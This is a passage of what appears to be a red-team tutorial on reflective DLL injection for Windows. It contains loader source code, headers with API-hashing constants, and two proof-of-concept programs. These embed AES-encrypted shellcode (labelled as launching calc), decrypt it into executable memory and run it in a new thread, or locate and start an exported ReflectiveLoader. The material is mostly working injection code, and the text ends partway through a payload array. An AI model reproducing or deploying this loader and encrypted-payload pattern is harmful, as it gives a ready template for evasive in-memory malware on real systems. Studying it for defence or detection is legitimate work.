				DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
			}
			// get the next imported function
			uiValueA += sizeof( ULONG_PTR );
			if( uiValueD )
				uiValueD += sizeof( ULONG_PTR );
		}

		// get the next import
		uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
	}

	// STEP 5: process all of our images relocations...

	// calculate the base address delta and perform relocations (even if we load at desired image base)
	uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;

	// uiValueB = the address of the relocation directory
	uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];

	// check if their are any relocations present
	if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
	{
		// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
		uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );

		// and we itterate through all entries...
		while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
		{
			// uiValueA = the VA for this relocation block
			uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
			
			/*IMAGE_BASE_RELOCATION - DataStructur: 
			typedef struct _IMAGE_BASE_RELOCATION {
  			DWORD   VirtualAddress;
  			DWORD   SizeOfBlock;
			} IMAGE_BASE_RELOCATION, *PIMAGE_BASE_RELOCATION;
			*/
			// uiValueB = number of entries in this relocation block
			uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );

			// uiValueD is now the first entry in the current relocation block
			uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);

			// we itterate through all the entries in the current block...
			while( uiValueB-- )
			{
				// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
				// we dont use a switch statement to avoid the compiler building a jump table
				// which would not be very position independent!
				if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
					*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
				else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
					*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
#ifdef WIN_ARM
				// Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
				else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T )
				{	
					register DWORD dwInstruction;
					register DWORD dwAddress;
					register WORD wImm;
					// get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
					dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) );
					// flip the words to get the instruction as expected
					dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
					// sanity chack we are processing a MOV instruction...
					if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT )
					{
						// pull out the encoded 16bit value (the high portion of the address-to-relocate)
						wImm  = (WORD)( dwInstruction & 0x000000FF);
						wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
						wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
						wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
						// apply the relocation to the target address
						dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF;
						// now create a new instruction with the same opcode and register param.
						dwInstruction  = (DWORD)( dwInstruction & ARM_MOV_MASK2 );
						// patch in the relocated address...
						dwInstruction |= (DWORD)(dwAddress & 0x00FF);
						dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
						dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
						dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
						// now flip the instructions words and patch back into the code...
						*(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
					}
				}
#endif
				else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
					*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
				else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
					*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);

				// get the next entry in the current relocation block
				uiValueD += sizeof( IMAGE_RELOC );
			}

			// get the next entry in the relocation directory
			uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
		}
	}

	// STEP 6: call our images entry point

	// uiValueA = the VA of our newly loaded DLL/EXE's entry point
	uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );

	// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
	pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );

	// call our respective entry point, fudging our hInstance value
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
	// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
	((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
#else
	// if we are injecting an DLL via a stub we call DllMain with no parameter
	((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
#endif

	// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
	return uiValueA;
}

ReflectiveLoader.h

#pragma once

#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H

//is intended for a 64-bit Windows environment
#define WIN_X64

//because we are injecting the DLL via LoadRemoteLibraryR
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN 

//===============================================================================================//
/*
WIN32_LEAN_AND_MEAN:
This line defines the WIN32_LEAN_AND_MEAN macro. In Windows programming, 
defining this macro excludes some less commonly used headers from the Windows API. 
It helps reduce compilation times and minimize the size of the compiled binary by 
excluding unnecessary parts of the API. However, it also means that certain functionality may not be available unless explicitly included.
*/

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <Winsock2.h>
#include <intrin.h> //contain type format

#include "ReflectiveDLLInjection.h"

typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR);
typedef FARPROC(WINAPI* GETPROCADDRESS)(HMODULE, LPCSTR);
typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD);
typedef DWORD(NTAPI* NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG);

#define KERNEL32DLL_HASH				0x6A4ABC5B
#define NTDLLDLL_HASH					0x3CFA685D

#define LOADLIBRARYA_HASH				0xEC0E4E8E
#define GETPROCADDRESS_HASH				0x7C0DFCAA
#define VIRTUALALLOC_HASH				0x91AFCA54
#define NTFLUSHINSTRUCTIONCACHE_HASH	0x534C0AB8

#define IMAGE_REL_BASED_ARM_MOV32A		5
#define IMAGE_REL_BASED_ARM_MOV32T		7

#define ARM_MOV_MASK					(DWORD)(0xFBF08000)
#define ARM_MOV_MASK2					(DWORD)(0xFBF08F00)
#define ARM_MOVW						0xF2400000
#define ARM_MOVT						0xF2C00000

#define HASH_KEY						13
//===============================================================================================//
#pragma intrinsic( _rotr ) //lead to more efficient code in terms of execution speed or code size.

__forceinline DWORD ror(DWORD d) //the compiler considers replacing the function call with the actual code of the ror
{
	return _rotr(d, HASH_KEY);
}

__forceinline DWORD hash(char* c)
{
	register DWORD h = 0;
	do
	{
		h = ror(h);
		h += *c;
	} while (*++c);

	return h;
}
//===============================================================================================//
typedef struct _UNICODE_STR
{
	USHORT Length;
	USHORT MaximumLength;
	PWSTR pBuffer;
} UNICODE_STR, * PUNICODE_STR;

// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
//__declspec( align(8) ) 
typedef struct _LDR_DATA_TABLE_ENTRY
{
	//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
	LIST_ENTRY InMemoryOrderModuleList;
	LIST_ENTRY InInitializationOrderModuleList;
	PVOID DllBase;
	PVOID EntryPoint;
	ULONG SizeOfImage;
	UNICODE_STR FullDllName;
	UNICODE_STR BaseDllName;
	ULONG Flags;
	SHORT LoadCount;
	SHORT TlsIndex;
	LIST_ENTRY HashTableEntry;
	ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;

// WinDbg> dt -v ntdll!_PEB_LDR_DATA
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
{
	DWORD dwLength;
	DWORD dwInitialized;
	LPVOID lpSsHandle;
	LIST_ENTRY InLoadOrderModuleList;
	LIST_ENTRY InMemoryOrderModuleList;
	LIST_ENTRY InInitializationOrderModuleList;
	LPVOID lpEntryInProgress;
} PEB_LDR_DATA, * PPEB_LDR_DATA;

// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
{
	struct _PEB_FREE_BLOCK* pNext;
	DWORD dwSize;
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;

// struct _PEB is defined in Winternl.h but it is incomplete
// WinDbg> dt -v ntdll!_PEB
typedef struct __PEB // 65 elements, 0x210 bytes
{
	BYTE bInheritedAddressSpace;
	BYTE bReadImageFileExecOptions;
	BYTE bBeingDebugged;
	BYTE bSpareBool;
	LPVOID lpMutant;
	LPVOID lpImageBaseAddress;
	PPEB_LDR_DATA pLdr;
	LPVOID lpProcessParameters;
	LPVOID lpSubSystemData;
	LPVOID lpProcessHeap;
	PRTL_CRITICAL_SECTION pFastPebLock;
	LPVOID lpFastPebLockRoutine;
	LPVOID lpFastPebUnlockRoutine;
	DWORD dwEnvironmentUpdateCount;
	LPVOID lpKernelCallbackTable;
	DWORD dwSystemReserved;
	DWORD dwAtlThunkSListPtr32;
	PPEB_FREE_BLOCK pFreeList;
	DWORD dwTlsExpansionCounter;
	LPVOID lpTlsBitmap;
	DWORD dwTlsBitmapBits[2];
	LPVOID lpReadOnlySharedMemoryBase;
	LPVOID lpReadOnlySharedMemoryHeap;
	LPVOID lpReadOnlyStaticServerData;
	LPVOID lpAnsiCodePageData;
	LPVOID lpOemCodePageData;
	LPVOID lpUnicodeCaseTableData;
	DWORD dwNumberOfProcessors;
	DWORD dwNtGlobalFlag;
	LARGE_INTEGER liCriticalSectionTimeout;
	DWORD dwHeapSegmentReserve;
	DWORD dwHeapSegmentCommit;
	DWORD dwHeapDeCommitTotalFreeThreshold;
	DWORD dwHeapDeCommitFreeBlockThreshold;
	DWORD dwNumberOfHeaps;
	DWORD dwMaximumNumberOfHeaps;
	LPVOID lpProcessHeaps;
	LPVOID lpGdiSharedHandleTable;
	LPVOID lpProcessStarterHelper;
	DWORD dwGdiDCAttributeList;
	LPVOID lpLoaderLock;
	DWORD dwOSMajorVersion;
	DWORD dwOSMinorVersion;
	WORD wOSBuildNumber;
	WORD wOSCSDVersion;
	DWORD dwOSPlatformId;
	DWORD dwImageSubsystem;
	DWORD dwImageSubsystemMajorVersion;
	DWORD dwImageSubsystemMinorVersion;
	DWORD dwImageProcessAffinityMask;
	DWORD dwGdiHandleBuffer[34];
	LPVOID lpPostProcessInitRoutine;
	LPVOID lpTlsExpansionBitmap;
	DWORD dwTlsExpansionBitmapBits[32];
	DWORD dwSessionId;
	ULARGE_INTEGER liAppCompatFlags;
	ULARGE_INTEGER liAppCompatFlagsUser;
	LPVOID lppShimData;
	LPVOID lpAppCompatInfo;
	UNICODE_STR usCSDVersion;
	LPVOID lpActivationContextData;
	LPVOID lpProcessAssemblyStorageMap;
	LPVOID lpSystemDefaultActivationContextData;
	LPVOID lpSystemAssemblyStorageMap;
	DWORD dwMinimumStackCommit;
} _PEB, * _PPEB;

typedef struct
{
	WORD	offset : 12; //1 byte
	WORD	type : 4; //1 byte
} IMAGE_RELOC, * PIMAGE_RELOC; //structure of Bloc in BaseRelloc (2 bytes bloc size)
//===============================================================================================//
#endif
//===============================================================================================//

the question here why we use those line in our header file ?

#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H

explain more "__forceinline" declaration

ReflectiveDLLInjection.h

// Some code
#pragma once //as alternative of "ifdef" and "ifndef"

//===============================================================================================//
//In case if the compiler not supporting the progma once 
//Traditional Header Guards
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>

// we declare some common stuff in here...

#define DLL_QUERY_HMODULE		6

#define DEREF( name )*(UINT_PTR *)(name)
#define DEREF_64( name )*(DWORD64 *)(name)
#define DEREF_32( name )*(DWORD *)(name)
#define DEREF_16( name )*(WORD *)(name)
#define DEREF_8( name )*(BYTE *)(name)

typedef ULONG_PTR(WINAPI* REFLECTIVELOADER)(VOID);
typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID);

#define DLLEXPORT   __declspec( dllexport ) 

//===============================================================================================//
#endif
//===============================================================================================//

POC - 1

in this chapter we will apply this technique to inject a our malicious dll which contain a calc shellcode

Step 1: Create malicious DLL (MainDLL)

we will first create our malicious dll that we want to inject into memory instead disk

 /*

 Red Team Operator course code template
 Reflective DLL proxy template

 author: reenz0h (twitter: @SEKTOR7net)

*/
#include "ReflectiveLoader.h"
#include <windows.h>
#include <wincrypt.h>
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#include <psapi.h>


int AESDecrypt(char* payload, unsigned int payload_len, char* key, size_t keylen) {
    HCRYPTPROV hProv;
    HCRYPTHASH hHash;
    HCRYPTKEY hKey;

    if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
        return -1;
    }
    if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {
        return -1;
    }
    if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)) {
        return -1;
    }
    if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) {
        return -1;
    }

    if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)payload, (DWORD*)&payload_len)) {
        return -1;
    }

    CryptReleaseContext(hProv, 0);
    CryptDestroyHash(hHash);
    CryptDestroyKey(hKey);

    return 0;
}

// calc shellcode (exitThread) - 64-bit
unsigned char payload[] = { 0x7, 0x26, 0xd8, 0x8e, 0xb8, 0x78, 0xf9, 0x78, 0x84, 0x3c, 0x0, 0xa8, 0x5b, 0xa, 0x6a, 0xe2, 0xc9, 0x6d, 0x63, 0x8b, 0x87, 0x9e, 0x80, 0xb5, 0x16, 0xc5, 0xa5, 0xc7, 0xda, 0x44, 0x1d, 0x2d, 0xae, 0x48, 0x2c, 0xb1, 0xc8, 0x92, 0xf5, 0xbc, 0xf5, 0xb8, 0xe6, 0xda, 0x9, 0x3c, 0x85, 0x9e, 0xac, 0xfa, 0x4c, 0xce, 0xa4, 0x35, 0x0, 0xdc, 0x50, 0x6b, 0x36, 0xb7, 0x5c, 0xfb, 0x12, 0xf1, 0x52, 0x46, 0x5b, 0x15, 0x3, 0x7d, 0x7b, 0x4e, 0x8d, 0x71, 0xf5, 0x7c, 0x43, 0x87, 0x46, 0x54, 0x64, 0xf9, 0x75, 0xab, 0x65, 0xb0, 0xbf, 0x9b, 0xc3, 0xd2, 0x3a, 0x73, 0xfc, 0xe3, 0x35, 0xe1, 0x23, 0x5d, 0x29, 0xe5, 0x10, 0xe2, 0x72, 0xef, 0xa9, 0x25, 0xa, 0x5a, 0x1f, 0x8e, 0xf7, 0xa5, 0xd8, 0x8b, 0x16, 0x33, 0xcf, 0x91, 0xde, 0x17, 0x79, 0x6, 0x5f, 0xd9, 0x61, 0x2c, 0x6a, 0x90, 0x7a, 0xaf, 0xb3, 0xdd, 0x1e, 0x0, 0xe3, 0xf3, 0x70, 0x5, 0x7a, 0x6d, 0x42, 0x7f, 0xb2, 0xc, 0xe0, 0xa2, 0xce, 0x3b, 0x1f, 0xa3, 0xf5, 0xcf, 0xa9, 0x1f, 0x3a, 0xf7, 0xab, 0x3, 0xf3, 0x36, 0xf2, 0x86, 0xf4, 0x4f, 0x20, 0x4a, 0xaa, 0x6a, 0x1c, 0xae, 0xe0, 0x13, 0x29, 0xe3, 0xb7, 0x84, 0xd8, 0x9b, 0xbc, 0x2f, 0xa6, 0xb2, 0x5f, 0xdc, 0x3b, 0x1, 0x70, 0x16, 0x61, 0x4c, 0xee, 0x42, 0x69, 0xf6, 0x1, 0x87, 0x76, 0x2f, 0x84, 0x14, 0x38, 0xd3, 0xa6, 0xe0, 0x25, 0x57, 0xa0, 0x7e, 0x4c, 0x1c, 0x6, 0xf, 0xae, 0x29, 0x92, 0x10, 0x3f, 0x5a, 0xff, 0x1d, 0x57, 0x67, 0x18, 0xba, 0x67, 0xb1, 0x7d, 0x9a, 0x6f, 0x48, 0xa3, 0x23, 0x23, 0x12, 0x62, 0xe3, 0x8b, 0xfb, 0x3e, 0x63, 0x9, 0xd0, 0x1d, 0xf8, 0xb0, 0xf6, 0x9c, 0x94, 0xd4, 0xb3, 0x2b, 0xfe, 0xe, 0xbb, 0x98, 0x65, 0xcf, 0x29, 0x39, 0xf8, 0x74, 0x3b, 0x9d, 0x24, 0xc2, 0xc, 0xa4, 0xdf, 0x7e, 0x4, 0xfd, 0xf9, 0x11, 0xc5, 0x36, 0xc6, 0xb5, 0x27, 0xd, 0x16, 0xa9, 0xe, 0xe3, 0x9, 0x65, 0xfb, 0xa5, 0xa3 };
unsigned char key[] = { 0xaf, 0x86, 0x80, 0xd4, 0x5e, 0xa3, 0xae, 0x79, 0xa9, 0x92, 0x38, 0xbe, 0x79, 0x8a, 0x9c, 0x41 };

void Go(void) {

    void* exec_mem;
    BOOL rv;
    HANDLE th;
    DWORD oldprotect = 0;
    unsigned int payload_len = sizeof(payload);

    // Allocate memory for payload
    exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    // Decrypt payload
    AESDecrypt((char*)payload, payload_len, (char*)key, sizeof(key));

    // Copy payload to allocated buffer
    RtlMoveMemory(exec_mem, payload, payload_len);

    // Make the buffer executable
    rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);

    // If all good, launch the payload
    if (rv != 0) {
        th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0);
        WaitForSingleObject(th, -1);
    }

}

extern "C" HINSTANCE hAppInstance;
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
    BOOL bReturnValue = TRUE;
    switch (dwReason)
    {
    case DLL_QUERY_HMODULE:
        if (lpReserved != NULL)
            *(HMODULE*)lpReserved = hAppInstance;
        break;
    case DLL_PROCESS_ATTACH:
        hAppInstance = hinstDLL;
        CreateThread(0, 0, (LPTHREAD_START_ROUTINE)Go, 0, 0, 0);
        break;
    case DLL_PROCESS_DETACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
        break;
    }
    return bReturnValue;
}

Step 2: Locate the ReflectiveLoader in MainDLL

In this step we gonna first explain each sections of the source code and than i will provide all the source code in the finale step

1- So firstly we we need to determine the address of "ReflectiveLoader" function in our dll exported table and for that we use these bellow function form the source code of stephenfewer

/*
Why we Rva2Offset instead of using directly RVA address?
+ During execution, the operating system maps the PE file into the process's virtual memory and RVAs become relevant as memory addresses however when you'are dealing with the file itself (reading or modifiyinh the file on disk) we use file offset
+ RVA are used in the virtual memory space while file offsets directly indicate the position within the file
*/


//Rva2Offset: calculate the offset based on the Rva gived 
//dwRVA = VirtualAddress
DWORD Rva2Offset(DWORD dwRva, UINT_PTR uiBaseAddress)
{
	WORD wIndex = 0;
	PIMAGE_SECTION_HEADER pSectionHeader = NULL;
	PIMAGE_NT_HEADERS pNtHeaders = NULL;

	pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew); //NtHeader
	
	//section header
	pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader);
	
	/*
	 PointerToRawData field in the context of the PE file format indicates the file offset of the raw data of a section.
	 It is used by the operating system loader to locate where the actual data of a specific section begins within the file.
	*/
	
	if (dwRva < pSectionHeader[0].PointerToRawData) //compare the first offset of text section with dwRVa if it's bigger than means this value dont belong there cuz text section is the lower value
		return dwRva;

	for (wIndex = 0; wIndex < pNtHeaders->FileHeader.NumberOfSections; wIndex++) //number of section header in the pe file
	{
		//compare dwRVA with each section address to find where is belong and by adding "SizeOfRawData" to ensure it's belong the range of address that has
		if (dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData))
			// ( dwRva - virtual address + added to the raw data's file offset ) = Pointing to the last address within the raw data of a section
			/* Why we should point to the last byte of section address ?
			+ retrieve or process the complete content of that section.
			+ Memory Mapping : the memory-mapped section typically includes all the bytes from the starting file offset (PointerToRawData) to the last byte (PointerToRawData + SizeOfRawData - 1). This ensures that the entire section is correctly mapped into memory.
			+ Boundary Checking : It ensures that you don't inadvertently go beyond the boundaries of the section's raw data.
			+ Address Calculations: 
			*/
			return (dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData);
	}

	return 0;
}

DWORD GetReflectiveLoaderOffset(VOID* lpReflectiveDllBuffer)
{
	UINT_PTR uiBaseAddress = 0;
	UINT_PTR uiExportDir = 0;
	UINT_PTR uiNameArray = 0;
	UINT_PTR uiAddressArray = 0;
	UINT_PTR uiNameOrdinals = 0;
	DWORD dwCounter = 0;
#ifdef WIN_X64
	DWORD dwCompiledArch = 2;
#else
	// This will catch Win32 and WinRT.
	DWORD dwCompiledArch = 1;
#endif

	uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer;

	// get the File Offset of the modules NT Header
	uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

	// currenlty we can only process a PE file which is the same type as the one this fuction has  
	// been compiled as, due to various offset in the PE structures being defined at compile time.
	if (((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B) // PE32
	{
		if (dwCompiledArch != 1)
			return 0;
	}
	else if (((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B) // PE64
	{
		if (dwCompiledArch != 2)
			return 0;
	}
	else
	{
		return 0;
	}

	// uiNameArray = the address of the modules export directory entry
	uiNameArray = (UINT_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];

	// get the File Offset of the export directory
	uiExportDir = uiBaseAddress + Rva2Offset(((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress);

	// get the File Offset for the array of name pointers
	uiNameArray = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames, uiBaseAddress);

	// get the File Offset for the array of addresses
	uiAddressArray = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions, uiBaseAddress);

	// get the File Offset for the array of name ordinals
	uiNameOrdinals = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals, uiBaseAddress);

	// get a counter for the number of exported functions...
	dwCounter = ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->NumberOfNames;

	// loop through all the exported functions to find the ReflectiveLoader
	while (dwCounter--)
	{
		char* cpExportedFunctionName = (char*)(uiBaseAddress + Rva2Offset(DEREF_32(uiNameArray), uiBaseAddress));

		if (strstr(cpExportedFunctionName, REFLDR_NAME) != NULL)
		{
			// get the File Offset for the array of addresses
			uiAddressArray = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions, uiBaseAddress);

			// use the functions name ordinal as an index into the array of name pointers
			uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));

			// return the File Offset to the ReflectiveLoader() functions code...
			return Rva2Offset(DEREF_32(uiAddressArray), uiBaseAddress);
		}
		// get the next exported function name
		uiNameArray += sizeof(DWORD);

		// get the next exported function name ordinal
		uiNameOrdinals += sizeof(WORD);
	}

	return 0;
}

//int main(void){
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {

	void* exec_mem;
	BOOL rv;
	HANDLE th;
	DWORD oldprotect = 0;
	DWORD RefLdrOffset = 0;
	unsigned int payload_len = sizeof(payload);

	// Allocate memory for payload
	exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	// Decrypt payload
	AESDecrypt((char*)payload, payload_len, (char*)key, sizeof(key));

	// Copy payload to allocated buffer
	RtlMoveMemory(exec_mem, payload, payload_len);

	// Make the buffer executable
	rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
	
	//Get the offset address of the function
	RefLdrOffset = GetReflectiveLoaderOffset(payload);
	// If all good, launch the payload
	if (rv != 0) {
		th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)((ULONG_PTR)exec_mem + RefLdrOffset), 0, 0, 0);
		Sleep(5000); // give ReflectiveLoader time to perform the parsing and loading the DLL into memory.
		WaitForSingleObject(th, INFINITE);
	}

}

POC - 2 - finale

This is the finale source code of using reflectiveLoader funnction to inject our dll into memroy

DllMain.dll

/*

 Red Team Operator course code template
 Reflective DLL proxy template

 author: reenz0h (twitter: @SEKTOR7net)

*/
#include "ReflectiveLoader.h"
#include <windows.h>
#include <wincrypt.h>
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#include <psapi.h>


int AESDecrypt(char* payload, unsigned int payload_len, char* key, size_t keylen) {
    HCRYPTPROV hProv;
    HCRYPTHASH hHash;
    HCRYPTKEY hKey;

    if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
        return -1;
    }
    if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {
        return -1;
    }
    if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)) {
        return -1;
    }
    if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) {
        return -1;
    }

    if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)payload, (DWORD*)&payload_len)) {
        return -1;
    }

    CryptReleaseContext(hProv, 0);
    CryptDestroyHash(hHash);
    CryptDestroyKey(hKey);

    return 0;
}

// calc shellcode (exitThread) - 64-bit
unsigned char payload[] = { 0x7, 0x26, 0xd8, 0x8e, 0xb8, 0x78, 0xf9, 0x78, 0x84, 0x3c, 0x0, 0xa8, 0x5b, 0xa, 0x6a, 0xe2, 0xc9, 0x6d, 0x63, 0x8b, 0x87, 0x9e, 0x80, 0xb5, 0x16, 0xc5, 0xa5, 0xc7, 0xda, 0x44, 0x1d, 0x2d, 0xae, 0x48, 0x2c, 0xb1, 0xc8, 0x92, 0xf5, 0xbc, 0xf5, 0xb8, 0xe6, 0xda, 0x9, 0x3c, 0x85, 0x9e, 0xac, 0xfa, 0x4c, 0xce, 0xa4, 0x35, 0x0, 0xdc, 0x50, 0x6b, 0x36, 0xb7, 0x5c, 0xfb, 0x12, 0xf1, 0x52, 0x46, 0x5b, 0x15, 0x3, 0x7d, 0x7b, 0x4e, 0x8d, 0x71, 0xf5, 0x7c, 0x43, 0x87, 0x46, 0x54, 0x64, 0xf9, 0x75, 0xab, 0x65, 0xb0, 0xbf, 0x9b, 0xc3, 0xd2, 0x3a, 0x73, 0xfc, 0xe3, 0x35, 0xe1, 0x23, 0x5d, 0x29, 0xe5, 0x10, 0xe2, 0x72, 0xef, 0xa9, 0x25, 0xa, 0x5a, 0x1f, 0x8e, 0xf7, 0xa5, 0xd8, 0x8b, 0x16, 0x33, 0xcf, 0x91, 0xde, 0x17, 0x79, 0x6, 0x5f, 0xd9, 0x61, 0x2c, 0x6a, 0x90, 0x7a, 0xaf, 0xb3, 0xdd, 0x1e, 0x0, 0xe3, 0xf3, 0x70, 0x5, 0x7a, 0x6d, 0x42, 0x7f, 0xb2, 0xc, 0xe0, 0xa2, 0xce, 0x3b, 0x1f, 0xa3, 0xf5, 0xcf, 0xa9, 0x1f, 0x3a, 0xf7, 0xab, 0x3, 0xf3, 0x36, 0xf2, 0x86, 0xf4, 0x4f, 0x20, 0x4a, 0xaa, 0x6a, 0x1c, 0xae, 0xe0, 0x13, 0x29, 0xe3, 0xb7, 0x84, 0xd8, 0x9b, 0xbc, 0x2f, 